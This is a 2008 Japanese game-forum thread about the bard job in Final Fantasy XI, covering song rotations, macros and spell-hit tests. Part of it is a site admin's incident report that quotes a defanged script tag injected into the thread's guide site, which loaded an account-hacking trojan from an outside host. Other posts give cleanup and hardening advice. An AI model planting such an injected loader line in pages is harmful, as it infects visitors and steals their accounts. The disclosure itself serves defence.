左手が空いててなんかすっきりしないよ
726 名前： 名も無き軍師 投稿日：2008/07/29(火) 19:04:18 ID:kwYFmfbf: 玄武は実用だろ・・・
727 名前： 名も無き軍師 投稿日：2008/07/29(火) 19:05:38 ID:t7KO/UzQ: 玄武盾が実用的じゃないと言ってるわけじゃない
とれるあてがないから他に実用的な盾がほしいのだ
エレガントシールドなんて非力すぎるし
728 名前： 名も無き軍師 投稿日：2008/07/29(火) 19:10:35 ID:kwYFmfbf: 玄武は少人数でやれるしがんがれ
729 名前： sage 投稿日：2008/07/30(水) 00:51:26 ID:cFbiFYBO: 玄武はどのジョブでもソロで倒せる
何時間かかるかわからんがｗ
730 名前： 名も無き軍師 投稿日：2008/07/30(水) 06:09:15 ID:FIJrgW0p: 詩人あげめんどい
オルデ集めと着ますんでかわりにあげてて
731 名前： 名も無き軍師 投稿日：2008/07/30(水) 08:11:03 ID:i4Unhkxf: うい
732 名前： 名も無き軍師 投稿日：2008/07/30(水) 13:49:48 ID:LPrMkzX1: 詩人ほど自分でやってあげやすいジョブないんだけどなｗ
どんなクソＰＴでもそれなりの水準に底上げできるし
自分で釣りして殲滅アップ＞時給アップなるし
733 名前： 名も無き軍師 投稿日：2008/07/30(水) 16:39:34 ID:ULwUGW3/: >>722
エチュ等の単体歌が範囲化になる程度の微妙なやつでお願いしたい。
734 名前： 名も無き軍師 投稿日：2008/07/30(水) 19:48:22 ID:glLV8hsd: >>732
自分で殴らないと物足りないとかいうタイプの人は上げにくいらしいよ。
上げやすいってならそれは自分の好みに合ってるってだけのこと。
735 名前： 名も無き軍師 投稿日：2008/07/30(水) 20:08:40 ID:FIJrgW0p: ２０くらいまでが面土居のじゃよ
まぁぶつくさいわずにあげるざます
736 名前： 名も無き軍師 投稿日：2008/07/31(木) 08:29:42 ID:mvRBVgM8: 38まで微妙だと思う
エレジー覚えるまでは役に立ってるのか立ってないのか解らんかったもん
737 名前： 名も無き軍師 投稿日：2008/07/31(木) 08:52:33 ID:2dhFPEjC: 25のバラードは目に見えて役に立つ
MP最大が少ない上にリフレ装備・サンクション一切無い状態だからな
738 名前： 名も無き軍師 投稿日：2008/07/31(木) 13:22:42 ID:cQZ50xYU: >>733
フォルテッシモか…黒PT用に便利だな
739 名前： 名も無き軍師 投稿日：2008/07/31(木) 17:18:25 ID:/8C9nln3: 歌マクロに /sh でセリフ仕込むと範囲効果になるくらいの遊び心が欲しいね
740 名前： 名も無き軍師 投稿日：2008/07/31(木) 19:41:07 ID:haG4vSX7: 本当はバラよりマドメヌのほうが遥かに大きいんだけど、自分が詩人だと
それがあたりまえになっちゃうんだよなｗ

途中で詩人が入ったとき、自分が前衛やってると、まず、WSダメ、命中感、
そして、１体あたりの戦闘時間が変わってくるのが分かるんだが、最初
からだと分かりにくいのよね。戦闘時間25%も縮んでてワロタｗ
実感するにはRepとかとらないと、というのはあるけど、超役にたってる。
741 名前： 名も無き軍師 投稿日：2008/07/31(木) 22:52:02 ID:W9mEx2at: 詩人の仕事は
エレジー30％
マド10％
メヌ10％
バラ2 10％
バラ1 5％
ララバイ 5％
フィナーレ 5％
残り25％は釣りとかケアル、だと思ってる。
742 名前： 名も無き軍師 投稿日：2008/08/01(金) 00:16:11 ID:ESVoNMtl: アトルガンで自分詩人だと時給6～7000くらいでもマズイと思うから困る。
743 名前： 名も無き軍師 投稿日：2008/08/01(金) 02:18:20 ID:/+joJVwu: >>742
まあサンクボーナスMaxなら詩人無しで7500ぐらいがデフォだからな・・。
自分が詩人してる時は8000以上は稼がせないと役割果たした気分がしなかった。
毎回リーダーだったから狩場選べたし尚更だったな。
詩人は稼がせてナンボと思ってたな当時。
744 名前： 名も無き軍師 投稿日：2008/08/02(土) 12:25:45 ID:CvyLB0mJ: 数字自体よりも伸びない理由のほうが大切だと思うが。
狩場的に混んでたとかだと役割もなにもあったもんじゃないし。
745 名前： 名も無き軍師 投稿日：2008/08/02(土) 16:11:03 ID:gNyisBWt: だから狩場を選ぶためにリーダーなんだよ。
誘われで混みこみ狩場の補充要員とかになるの嫌だしね。
取り合いは何より自分が楽しくない。

回避狩場でも自分が歌って釣りして足りない部分を補えば
それなりの水準に持っていけるから詩人リーダーはいいのさ。
エレジーあると盾に拘らなくてもいいから構成も楽だしね。
746 名前： 名も無き軍師 投稿日：2008/08/02(土) 17:53:00 ID:mJTeRboF: アトルガンは10桁以上のチェーンがコンスタントに繋がるかどうかで
ガラリと時給が変わっちゃうのが痛いんだよなー…

5チェーン終了のPTだと平均7000くらい、20弱のチェーンでも繋げれば10000超える。
747 名前： 名も無き軍師 投稿日：2008/08/02(土) 19:06:25 ID:rRY9YbP+: 10桁てどんだけ繋げてんだよｗｗｗ
748 名前： 名も無き軍師 投稿日：2008/08/02(土) 19:08:33 ID:glDIBwpk: 一兆だろ。アトルガンエリアではよくあること。
749 名前： 名も無き軍師 投稿日：2008/08/02(土) 19:26:11 ID:Q78tMvEr: 子供作るぞ
750 名前： 名も無き軍師 投稿日：2008/08/03(日) 08:40:18 ID:dSPqPMc0: 10億じゃね？
751 名前： 名も無き軍師 投稿日：2008/08/04(月) 04:27:18 ID:3kbyZES5: ピアニッシモの後にナイチンとトルバを使ってその後ピアニッシモのアイコンを切っても
範囲味方歌が一人にしかかからないというのは既出？
752 名前： 名も無き軍師 投稿日：2008/08/04(月) 05:08:48 ID:MX7VsdWm: うん
753 名前： 名も無き軍師 投稿日：2008/08/05(火) 12:53:40 ID:J9KFEzx2: 1st詩人で限界5のマートやる時の戦い方や持参した方がいい
アイテム教えてください
レクイエムが効きやすい、くらいしか分からなくて(´･ω･)
754 名前： 名も無き軍師 投稿日：2008/08/05(火) 13:12:41 ID:x3X5hHcF: >>753
そのくらいググれよボケ

ハイポ10個とペルシコス1個とイカロスとブリンクバンド用意して入ったら防御食してオポオポ昏睡で100貯めて
マートにくっついて背を向けてソウルピアピア>ララバイ>フィナーレ>エレジー>レクイエム>ファスト>イカロス>
ファスト>フィナーレ>あとは殴ってピアとレクイエムきれたらかけ直してマートが歌ったらフィナーレしてTP100貯まったらファスト

ググレないやつには一言アドバイスしかしてやらん
755 名前： 名も無き軍師 投稿日：2008/08/05(火) 15:07:33 ID:v0aU4qVQ: 詩人マートは武器スキルちゃんと上げてれば割りと雑魚
1stってことで武器スキル真っ白だとかなりマゾイ
756 名前： 名も無き軍師 投稿日：2008/08/05(火) 15:50:20 ID:J9KFEzx2: 的確な一言アドバイス感謝です。

スキル青にしてから行ってみます(`･ω･)
757 名前： 名も無き軍師 投稿日：2008/08/05(火) 16:14:04 ID:YNfR2dKt: 妄想ごめん。
ピアニッシモって現状、味方歌にしか効果がないんだけれども
敵歌にも効果あっても便利だとおもう。
まぁ、敵歌範囲なんて達ララしかないから微妙といえば微妙だけどｗ

それでここからさらに妄想で、スレの上の方にも話に出てた
フォルテッシモ：歌範囲化のアビが追加。
範囲エレジーとか、達ララ → フォルテッシモ → ララで
達ララっぽいの2枚持てることになって結構使い勝手あるとおもうんだけどなー
758 名前： 名も無き軍師 投稿日：2008/08/05(火) 23:25:33 ID:10oNjoGy: >>754
すげぇなお前。肺活量５まんくらいあるんじゃね？
759 名前： 名も無き軍師 投稿日：2008/08/06(水) 09:00:53 ID:hgJA8UdJ: 翡翠前で白黒マム釣るとき
特に黒マムなんかは釣るときにサイレス入れてくれると嬉しいと思うんだが
POP場所付近でスリプル2入れる垢が多くてキレそうになる

狩り開始前に毎回説明するべきなんだろうか
760 名前： 名も無き軍師 投稿日：2008/08/06(水) 09:20:25 ID:b10Z6d09: その通り。
761 名前： 名も無き軍師 投稿日：2008/08/06(水) 10:31:49 ID:tzeBrpq3: 歌唱管楽器にメリポふってるからスキル540出来るよーになったんだ。
マーチのマクロだが、今まで

/ma 栄光の凱旋マーチ <stpc>
/equip 遠隔ラムホーン
/ma 無敵の進撃マーチ <stpc>

だったのを、スキルアップの為に

マクロ１
/ma 栄光の凱旋マーチ <stpc>
/macro set 2
/equip 胴ミンストレルコート
/equip 手 AF+1
/equip 脚 AF+1
/equip 両足オラクルピガッシュ

マクロ２
/macro set 1
/equip 右手の指ネレイドリング
/equip 左手の指ネレイドリング
/equip メインウェポンチャンタースタッフ
/equip 遠隔ラムホーン
/ma 無敵の進撃マーチ <stpc>

に変更したが、進撃マーチのサブターゲットが着替えて消えちゃうんだよな。
どーにかならんもんかな。マクロを2行にするのは無しで。
ちなみに普段ファストキャスト目的の為にフルマルだから
上記装備は全部変更される。
762 名前： 名も無き軍師 投稿日：2008/08/06(水) 13:07:35 ID:hIVuKTEy: >>761
セット変えてる以上どうにもならん。
763 名前： 名も無き軍師 投稿日：2008/08/06(水) 14:14:03 ID:prbeG1Ho: マクロ１
/ma 栄光の凱旋マーチ <stpc>
/macro set 2
/equip 胴ミンストレルコート
/equip 手 AF+1
/equip 脚 AF+1
/equip 両足オラクルピガッシュ

マクロ２
/ma 無敵の進撃マーチ <stpc>
/macro set 1
/equip 右手の指ネレイドリング
/equip 左手の指ネレイドリング
/equip メインウェポンチャンタースタッフ
/equip 遠隔ラムホーン
764 名前： 名も無き軍師 投稿日：2008/08/06(水) 14:20:14 ID:hIVuKTEy: >>763
それだとマチマチかけるときにセット１に戻っちゃってダメなんだよ。
765 名前： 名も無き軍師 投稿日：2008/08/06(水) 14:24:41 ID:prbeG1Ho: ああ、そういうことか。
もうそれはSet３まで導入するしかないんじゃね？
766 名前： 名も無き軍師 投稿日：2008/08/06(水) 14:30:23 ID:prbeG1Ho: マクロ１

/equip 胴ミンストレルコート
/equip 手 AF+1
/equip 脚 AF+1
/equip 両足オラクルピガッシュ
/equip メインウェポンチャンタースタッフ
/macro set 2

マクロ２
/ma 栄光の凱旋マーチ <stpc>
/equip 右手の指ネレイドリング
/equip 左手の指ネレイドリング
/equip 遠隔ラムホーン
/ma 無敵の進撃マーチ <stpc>
/macro set 1
767 名前： 名も無き軍師 投稿日：2008/08/06(水) 14:54:34 ID:hIVuKTEy: >>766
それも進撃のタゲ外れてだめなんだｗ
768 名前： 名も無き軍師 投稿日：2008/08/06(水) 15:03:56 ID:prbeG1Ho: ああ、すまん遠隔がまだ点滅だったか。
もうset3にするか、点滅個所１-2箇所常時着ることによって回避するしかないな・・・
769 名前： 名も無き軍師 投稿日：2008/08/06(水) 15:15:45 ID:b10Z6d09: なんだか知らんが<lastst>は使えないのか？
770 名前： 名も無き軍師 投稿日：2008/08/06(水) 15:24:19 ID:prbeG1Ho: wait挟む余地などないからムリじゃね？
771 名前： 名も無き軍師 投稿日：2008/08/06(水) 15:30:09 ID:b10Z6d09: ピアニッシモに仕込むとか。

それだと敵歌などで面倒ならピアニッシモにマクロセット変更仕込んで
<stpc>マクロ1つとピアニッシモ用歌マクロ全部、あと急を要する敵歌でも入れとけば。
772 名前： 名も無き軍師 投稿日：2008/08/06(水) 17:47:34 ID:tRIDi9d1: 脚か両足を常時着用でいいんでない？他見方歌でラスパン履きたいのならしょうがないけど
773 名前： 名も無き軍師 投稿日：2008/08/07(木) 12:20:43 ID:WPpRyoqZ: PM今頑張って進めてはいますがまだリンバスに行けない場合
脚はシャイルかエラントでよいのでしょうか？
あと足は皆さん何使ってますか？
まだゴリ足持っていない場合はこれもシャイルで良いのかな…
↑敵歌時の話しです。

まだ詩人始めたばかりなのですが
敵歌はCHR、見方歌はスキルで認識あってますでしょうか＞＜？
774 名前： 名も無き軍師 投稿日：2008/08/07(木) 12:41:07 ID:cvD6HT5A: 詩人始めたばかりの奴がシャイルやらエラントやら、どんだけ先の心配してんだ。
775 名前： 名も無き軍師 投稿日：2008/08/07(木) 12:58:03 ID:Y7X/Wmkn: ぶっちゃけ楽器もってそれなりの装備をしていれば大抵おｋ。
776 名前： 名も無き軍師 投稿日：2008/08/07(木) 12:58:28 ID:WPpRyoqZ: いえっ、レベルは達してるのですが＞＜なりたてということです。
777 名前： 名も無き軍師 投稿日：2008/08/07(木) 12:59:28 ID:fPBRG+Ho: するってぇと、なにかい？垢買いかい？
778 名前： 名も無き軍師 投稿日：2008/08/07(木) 13:04:12 ID:LBh6Yk+S: 詩人始めたばかり。
レベルは達している。
なりたて。

垢買いですって自白してるようなもんだな。
779 名前： 名も無き軍師 投稿日：2008/08/07(木) 13:08:08 ID:qJpvAmc1: 垢買い死んで良いよ
780 名前： 名も無き軍師 投稿日：2008/08/07(木) 13:26:08 ID:MHweYP6L: お前さんらいじめ過ぎだなｗ
日本人特有の謙譲的な言い回し方だったのかもしれないだろｗ

>>1のテンプレサイト見れば多少は答えがあるかもしれないね

てか、あのサイトいまだにＲＭＴ広告乗っけてんだな・・・
781 名前： 名も無き軍師 投稿日：2008/08/07(木) 13:39:10 ID:WPpRyoqZ: 垢買いじゃないです・・
シャイルとエラント装備レベルになりたてと言うことだったのです；；
すみませんでした・・
782 名前： 名も無き軍師 投稿日：2008/08/07(木) 14:17:50 ID:czwQZ7FY: メリポむじーよ先輩
のんびりメヌ歌ってたら釣り遅れてチェン切れるし
かといっておろそかにしたら撲滅速度落ちるし
バラはピアニでだいぶ楽になったが・・

なんかアドバイスください。
783 名前： 名も無き軍師 投稿日：2008/08/07(木) 14:21:25 ID:Y7X/Wmkn: メヌは様子見てまにあわなければ適当。
蝉＞釣り＞ララ＞二曲＞蝉＞釣り＞ララ＞ニ曲＞
ってループでいいんじゃね？
784 名前： 名も無き軍師 投稿日：2008/08/07(木) 14:44:33 ID:UNX2eQAF: それだと釣り間に合わなくならない？
蝉＞釣り＞ララ＞メヌ＞釣り＞ララ＞マチ＞釣り＞ララ＞バラ＞

俺はいつもこんなかんじ
MP余裕あって釣りしんどかったらバラさぼったりしてる
785 名前： 名も無き軍師 投稿日：2008/08/07(木) 14:51:34 ID:Y7X/Wmkn: たしかに殲滅早すぎる場合は多少歌端折ってるな。
間に合わないときに赤さんが釣ってきてくれると神こた、これでかつる！って感じだけど。
786 名前： 名も無き軍師 投稿日：2008/08/07(木) 15:15:25 ID:qJpvAmc1: 二曲ごと歌ってたらチェーン切れまくりの糞詩人と裏テル飛んでるぞ、それ
787 名前： 名も無き軍師 投稿日：2008/08/07(木) 15:30:10 ID:Y7X/Wmkn: あれ？ニ曲ムリだったっけ？と、良く考えたら確かに１曲だったは・・・暫く行ってなかったから忘れてたはごめん。
詩人二人＋赤体制でもう一人に２曲＋回復任せて、俺が釣り＋２曲歌ってたのを思い出した。
788 名前： 名も無き軍師 投稿日：2008/08/07(木) 17:56:57 ID:Qrqx8IOF: 翡翠前とかだったら
釣り釣り(もしくはララキープ二匹釣り)歌二曲ループいけるんじゃないかな

せんめつはやいときとか
789 名前： 名も無き軍師 投稿日：2008/08/07(木) 18:37:57 ID:UNX2eQAF: 2曲いけると思うけどどっちがやりやすくて効率いいかって事じゃないか？
俺も最初は2曲だったけど1曲に落ち着いたし
2曲セットだと立て続けに歌切れるから前衛が歌なし状態になるときがあるし毎回2匹釣るわけじゃないでしょ

マムーク前広場だと敵の数多いし赤白も釣りに参加してくれるから歌2曲でもいいと思うけどね
790 名前： 名も無き軍師 投稿日：2008/08/07(木) 19:39:07 ID:Qrqx8IOF: あ～あとたぶんあれだ
釣りにでるタイミングが遅いんじゃね

釣ってきて寝かしてた敵と戦闘開始
↓
その戦闘開始前後に釣りに出かける
↓
戦闘前半には次の敵を釣ってきて寝かせる
↓
歌
↓
戦闘終了
↓
上にもどる
791 名前： 名も無き軍師 投稿日：2008/08/07(木) 19:50:54 ID:Qrqx8IOF: これでも遅ければ
もう１テンポ早く

前衛廃の時は二匹釣り織り交ぜればいい
792 名前： 名も無き軍師 投稿日：2008/08/07(木) 21:25:38 ID:ekO+8989: >>791
バラードもあるという
793 名前： 名も無き軍師 投稿日：2008/08/07(木) 22:04:32 ID:+fSzCKWr: ○詩人スレ住人の方へ大切なご連絡です○

かなり久しぶりに書き込みます。>>1のテンプレサイト管理人です。

さきほど気付いたのですが、8月2日23時45分頃～今まで、
テンプレサイト内のほぼ全ページに、
謎のスクリプトが、仕込まれてしまっていたようです。

仕込まれていたのは、下記のようなものです。
<script src= h t t p : // 1039045744 : 88 / jp.js ></script>
　　　　　　　↑↑危険かもしれないので、一部スペースを入れ、アクセスできないように書いています。

1039045744で検索すると、どうもアカウントハックを目的とするサイトのようだったので、
慌てて削除をしておきましたが、この期間中にアクセスされた方は、
もしかするとウィルスに感染しているかもしれません。
心当たりのある方は、一度ウィルスチェック等をしていただければと思います。

こんなことが起こるとは思いもよらず、どう対処すればいいのか混乱している状況ですが、
さしあたり、まずは報告をしておくべき、と考え、書き込みさせていただきました。

以上、よろしくお願いします。
794 名前： 名も無き軍師 投稿日：2008/08/08(金) 00:10:38 ID:clYeVQ9K: >>793続報です。

○被害状況
　　テンプレサイトは、「左側メニュー」・「ヘッダ」・「フッタ」をどのページにも共通に読み込む作りになっているのですが、
　　この共通部品である、「左側メニュー」・「ヘッダ」の2つのファイルにスクリプトが埋め込まれてしまったため、
　　ほぼ全ページにスクリプトを仕込まれた状態になっていました。
　　なお、2つのファイルの更新時刻は、8月2日23時45分、8月2日23時49分でした。

○対応状況
　　どういう経緯でファイルが書き換えられてしまったのか不明なため、
　　さしあたりの対処として、下記3点を行いました。
　　・書き換えられていた2つのファイルの差し戻し
　　・FTPパスワードの変更
　　・TOPページに警告を掲載

　　とりあえずこれで様子をみたいと思いますが、
　　これ以外に何かするべき対策などあれば、お知らせいただけるとありがたいです。
　　よろしくお願いします。
795 名前： 名も無き軍師 投稿日：2008/08/08(金) 00:20:43 ID:7sa3ryDs: >>793
アカハクスレにレスへのリンク貼られてたので来てみました
指定ポートが異なりますが、h t t p : // 1039045744:XX～というアドレスは
今年６月にXREAの広告改竄によるアカウントハックが蔓延した際、
接続されていたトロイ置き場と同一です。
おそらくは今回も同様の罠が仕掛けられていたものと想定されます。

また、XREAの無料スペースをご利用されているようですが、
↑でも書いた通り、今年６月にXREAの広告サーバーが乗っ取られ、
一定の確率で「Flashplayerのバージョンが古い場合、閲覧しただけで
アカウントハックトロイが自動的にDL・実行される」という罠が、
6/5～6/17および6/26～6/27の間、無料スペースで表示義務のある
広告に仕込まれていました。
つまり、上記期間中はXREAの無料スペースを使用していたサイトが
全てアカウントハック罠サイトへと変えられていたわけです。
この問題の発生が現在のアカウントハック多発のきっかけともなっており、
貴ＨＰも上記改竄被害を受けたＨＰの条件に当てはまります。
併せて周知いただければと思います。
796 名前： 名も無き軍師 投稿日：2008/08/08(金) 00:28:14 ID:MqWy3fLA: >>791
歌=マチ→メヌ→バラ2
ローテね
余裕あればバラバラにすればいい
797 名前： 名も無き軍師 投稿日：2008/08/08(金) 00:29:35 ID:MqWy3fLA: ｱﾝｶﾐｽ
>>792ね
798 名前： 名も無き軍師 投稿日：2008/08/08(金) 00:30:40 ID:BSdvjZqh: 詩人２週目の俺だがテンプレサイトは常に開いていた。
だがNoscriptとPGを導入している用意の良さはさすが２週目と言った所か。
799 名前： 名も無き軍師 投稿日：2008/08/10(日) 15:32:31 ID:t6ijVMyS: >>782
歌をサボる時のコツはバラをサボる事。
余程のヘボ前衛でもない限りバラ1曲サボってもMPは回る。
間に合わない時はバラ２だけ入れて、バラ１は釣時間が追いつく時にする。

例えば3匹釣りしてしばらく待ってられるときにかけて次の沸きポイントに行く時とかね。
前衛に対してのマチメヌは極力切らさないようにするほうが
結局MP消費も少なく後衛のMPが持たなくなるって事はあんまない。
後衛２だとそうもいかないけどね。赤１のMPにすべてがかかってるだけに。

それとエレジーは100%かかった状態にする事、これが無駄なMP消費が減るコツだ。
エレジー入ってんのにボコスカ殴られるクソ前衛ならキックしろ。
800 名前： 名も無き軍師 投稿日：2008/08/11(月) 10:08:16 ID:XEvyv2LX: あとマム広場と、翡翠前タンジャナ上段は分けて考えた方がいいぞ
翡翠前とタンジャナ上段は基本的に釣る順番決まってるけど
マム広場は目に付いた順（マム優先）に釣ることになる

マム広場はプク多くて戦闘時間短いから3～5匹キープするので、
スリ2上書きなどで後衛のMPも足りなくなってくるからバラ2だけは切らさないこと
上段や翡翠前は殲滅速度が早いと釣り間に合わなくなるからその時はバラ2もさぼったりして釣り優先にするといい
801 名前： 名も無き軍師 投稿日：2008/08/11(月) 12:43:28 ID:VWY6hbzW: XREAサポートフォーラムより

http://sb.xrea.com/showthread.php?t=12960
外部ユーザー様から通報いただいた1サイトのみの確認ですが、
ログから判断しますと、
スクリプト経由で書き換えられている可能性が高いと思われます。
スクリプト自体を最新にする
.htaccess に
php_flag allow_url_fopen off
php_flag allow_url_include off
php_flag register_globals off
を記述する
万全ではありませんが、下記の方法でアクセス制限をする
http://sb.xrea.com/showpost.php?p=77290&postcount=3
といった対策があります。
他に数サイトあるようですが、他のサイトはまだ把握しておりません。
また、最新ではないXOOPS運用サイトでもなどでも
同様の改ざんがされることを確認できております。
なお、上記PHP設定項目が旧サーバーでOnになっているサーバーは、
アップデート時にサーバー側でOffに変更させていただいております。
http://sb.xrea.com/showthread.php?p=83962#post83962
802 名前： 名も無き軍師 投稿日：2008/08/11(月) 23:53:23 ID:AruETUC2: メリポの魔物のシルベントと冒険者のダージュをどっちか５にしてる人って居るのかな。
体感効果はどんなもんだろうか。前者は２５％緩和、後者は敵対心－１５ぽっちだけど。
803 名前： 名も無き軍師 投稿日：2008/08/11(月) 23:58:55 ID:7oZzJlHa: >>802
この質問を待っていた
804 名前： 名も無き軍師 投稿日：2008/08/12(火) 02:14:47 ID:bWR0/FbU: すみません質問させてください
それ系統のサイトが見つからなかったんですが
マンボの回避上昇って数値的にはいくつ上昇してるんですか？
805 名前： 名も無き軍師 投稿日：2008/08/12(火) 02:18:43 ID:DeHEdpSr: ぶっちゃけ検証がめんどくさいんで誰もやってない。
理論上は吸印に吸い取らせればいいんだけどな。

まあ、同じ命中だしマドリガルと似たような値じゃね？
ミンネとメヌもそんなかわんないし。
806 名前： 名も無き軍師 投稿日：2008/08/12(火) 02:18:49 ID:Tg95/2XM: ダージュは１振り目で -10 って検証が出てる
だから、５振りだと -10-3-3-3-3 で -22 だ

私はダージュ３振りで、まだ５になってない段階だけど
敵対心マイナスはタゲをとってからかけても無駄で、
タゲを取らないように事前にかける必要があるのが使いにくい
なので、あんまりいいかんじには思えないかな

ダージュをかけてる対象の青や黒からは好評です
807 名前： 名も無き軍師 投稿日：2008/08/12(火) 02:19:34 ID:Tg95/2XM: ↑「少なくともバラ１よりうれしい」と言われます
808 名前： 名も無き軍師 投稿日：2008/08/12(火) 02:27:24 ID:bWR0/FbU: >>805
即レスありがとうございました！
具体的な数値はでてないんですね・・・
でもそれが知れただけよかったですありがとうございました
809 名前： 名も無き軍師 投稿日：2008/08/13(水) 08:34:44 ID:z5t3OLho: ダージュ人気だなｗ
たまにはエチュードのこととか思い出してあげてくださいｗ
810 名前： 名も無き軍師 投稿日：2008/08/13(水) 15:53:05 ID:xHZWu+MI: 既に前回の記事に張ってある結果。

・テラスタッフ
修羅のエレジー______ _77.4% [__82/_106] [___0/___0/_106]（曜日：水風）
修羅のエレジー______ _78.6% [__66/__84] [___1/___0/__85]（曜日：火土水）

・アルカルロプス
修羅のエレジー______ _89.2% [__58/__65] [___2/___0/__67]（曜日：風）
修羅のエレジー______ _89.2% [__58/__65] [___0/___0/__65]（曜日：土水）

・アルカルロプス CHR-10
修羅のエレジー______ _81.7% [__58/__71] [___0/___0/__71](曜日：雷光）

対ティアマトでは、テラスタッフとアルカルロプスの差であるCHRが影響大きいんじゃないか
とのにゃんこさんの指摘でCHRを-10したのを追試してみました。
８０％ちょいぐらいなら過去テラスタッフでも出たことはあるので、なかなか興味深い(´∀｀)
とりあえずもっと数撃ちたいんだけど、今日も３割ぐらいから参加だったので(ﾉ∀`)
赤盾じゃなければ印プル出来るので写真撮影会が長いんだけど、今日は無理でした(´・ω・｀)
追加検証データも引き続き。。

詩人での使う分には優秀な杖ではあることは確かかな～と思ってはいます。
でも結局ケアルと被ダメカットの関係で属性杖は持ったままなんですけどね。。
811 名前： 名も無き軍師 投稿日：2008/08/13(水) 16:48:40 ID:LyVkdiN+: またマンドラ一緒の廃人か
812 名前： 名も無き軍師 投稿日：2008/08/13(水) 20:09:43 ID:+9W7QEqM: >>810
ティアマットにエレジーはプロマシア装備の詩人でも（当時ティアマットやってたので）
83%くらいいってた気がする。今は魔法命中の装備があるので、テラスタッフでも80%台は
余裕でいくんじゃないか。
検証には、エレジーよりレクイエムとかのほうがいいよ。命中80%台の歌で誤差なのか有意差
を考えるより命中40%台あたりの歌のほうが検証は楽です。
813 名前： 名も無き軍師 投稿日：2008/08/14(木) 02:48:07 ID:+fE9q+Vx: コピペにマジレスする男のひとって・・・・・ｼｭ
814 名前： 名も無き軍師 投稿日：2008/08/14(木) 12:26:02 ID:Rv5lRXzV: >>812
別の廃人様がアルカル使った40%前後の命中の検証してたぞ。
エレジーじゃなくてララバイだったけど
815 名前： 名も無き軍師 投稿日：2008/08/14(木) 13:12:05 ID:7eXuYJGI: >>812
レクイエムの命中率が半分切る敵も思いつかないんですよね・・
ル・メトのアーンへの達ララが４割ぐらいなのですが、
そもそも検証するのが光耐性持ってそうな敵でいいのか、とか。

装備を杖と楽器だけにしてエレジー歌うことに意味があるなら機会があれば。。
816 名前： 812 投稿日：2008/08/14(木) 16:42:06 ID:oEkH3oZw: >>815
ルアビタウのBC行く前のとてゴーレムがテラスタッフ装備・楽器なしでスレ歌で40％前後です。
グリップもはずして単純に武器比較とかのほうが検証がわかりやすいかも。

ところで一つの可能性として、属性杖の魔法命中は＋なのか％なのかが疑問なんですけど、これって
どういう結論が出ていますか？色々漁ったのですが、属性杖は魔法命中＋30とか+15相当とか書いて
あるんですが、属性杖の魔法ダメージのように別枠計算で＋10%みたいな可能性もあるんじゃないかと
思ってます。
817 名前： 815 投稿日：2008/08/14(木) 19:11:54 ID:7eXuYJGI: >>816
やはり検証はあの場所に行き着くのですね
データの収集はＬＳ活動の延長でやってることなので個別に収集する時間は
なかなか取れないですが。

属性杖の魔法命中は魔法命中率の式が分からないので何とも言えないです。
レベル差補正という素敵な補正が魔法命中率には影響してそうなのでその点からも。。
818 名前： 名も無き軍師 投稿日：2008/08/15(金) 15:51:06 ID:FxfR8lOU: >>817
魔法命中とか過去ログとか検証スレで漁ってもはっきりとした数字も出てないですね。
○○の魔法が属性杖で60%から85%になったから魔法命中は25%相当とかのブログはかなり
誤解してると思う。（例：ソール寿司と食事なしを比べた場合、命中率が60%から85%になったので
ソール寿司の命中は25%だというようなもの）

今までのブログ巡りや実体験・検証スレを含めると、仮説として魔法命中率も物理命中率のような
数字があって、敵の回避率から実際の命中率がでてくるのだと思う。（これは賛同する方も多いかと思います）
では、可能性としてアルカルロプスはオプチやライフベルトのような命中＋装備だとして、
属性杖はオプチやライフベルトのような単純に＋なのか、それとも寿司のような％なのかでアルカルロプスと
属性杖はどっちがいいかという判断が分かれるかと思います。なぜ属性杖の魔法命中が％だと思うのかは
・光杖での操るの体感に違いがわかるほどの成功率アップ
・赤/暗のスタン
・赤の魔法命中（ワイズ装備）のがっかりぷり。スキル１＝魔法命中１と言われてるが逆にスキル＋25とかにすれば属性杖
と同等のレジ率になるのか？
とまあ、いろいろ思うわけで、昔モンスターシグナをしょってCHRエチュエチュを必死になって歌ってそれでも
入らず、逆に土杖しょってエレジーで目に見えるほど入ったというような思い出があって、どうも属性杖は寿司のような命中○％アップ
みたいな装備だと思ってしまいます。

個人的に試してもらいたいのは
・白でキマイラにパライズを打つ（本家は白が氷杖しょえばそこそこパライズ入ります）
・アルカルロプスで連魔スタン
など、まずこういう基本的なところから検証をお願いしたいところです。
しかし気になるのは今までの検証結果から推測される魔法命中＋20にしては効果が高いという
のが疑問です。ひょっとして属性杖みたいに隠し魔法命中率が存在するかもしれないので、
アルカルロプスで精霊魔法を打って属性杖みたいなダメージボーナスがあるか確認もしてくれる
とありがたいです。（ダメージとは直接的な関係はありませんが、隠し効果を類推する材料には
なります。）
819 名前： 名も無き軍師 投稿日：2008/08/16(土) 16:14:50 ID:M3vD/mSa: アルカルと属性杖のララバイでの検証は↓のやつだな。ネ実の詩人スレにあった。
http://gieff.exblog.jp/8733327/#8733327_1
820 名前： 名も無き軍師 投稿日：2008/08/16(土) 19:02:22 ID:TRp7bxb2: >>818
とりあえずはやる機会があったＮＭに杖のみで挑むところからやろうかと思います。
弱体魔法の検証や819のようなとてとてクラスの検証は既にやってる方がいるようなので。

アトルガンＮＭは頑張ってもエレジーの基本命中率１０％程度で属性杖は掛け算、魔法命中装備は足し算
なので、
・属性杖は１０％ｘ属性杖倍率＝数％の上昇しか見込めない
・魔法命中は基本命中率が決定される前に足されるので効果は高い
と思ってたのですが、実際基本命中は８０％ぐらいあって８で割られて作られた１０％のような気がします
実際スキル装備をかき集めても、魔法命中装備かき集めても大差ないようですし。
８という数は適当ですが、割られたら装備で魔法命中４０あっても伸びは５、属性杖は３？程度
バルキリー等の装備はスキルやＣＨＲが犠牲になり基本命中は少し下がるので余計に差は小さい

ここらへんは妄想ですけど。。
でも実際アトルガンＮＭへは効果がなさすぎるんですよね。
他の敵にはない補正がかかってるとしたら検証には向かないのかな、と。
821 名前： 名も無き軍師 投稿日：2008/08/16(土) 20:23:34 ID:KEYddXT0: >>820
ケルベロスとかにエレジーってのはフル・ハーフ込み5%～10%だったと思うんですけど
これ単に命中が足りてない（ボトム）だけで、80が8で割ってるとかそういう複雑さはないと思いますよ。
＞エレジーの基本命中率１０％程度で属性杖は掛け算、魔法命中装備は足し算
これ以降の話はちょっと意味が分からなかったです。
なんとなくですが、低レベル帯でスシ食べるよりジャックのランタン（命中＋１０）を
食べた方がいいという話に近いのでしょうか。なら命中が高くなっていく高レベル・廃装備なら
ますます％装備の方が有利だと思います。
基本命中を算出したあとに足し算で＋装備の数字を計算しているとは思いません。
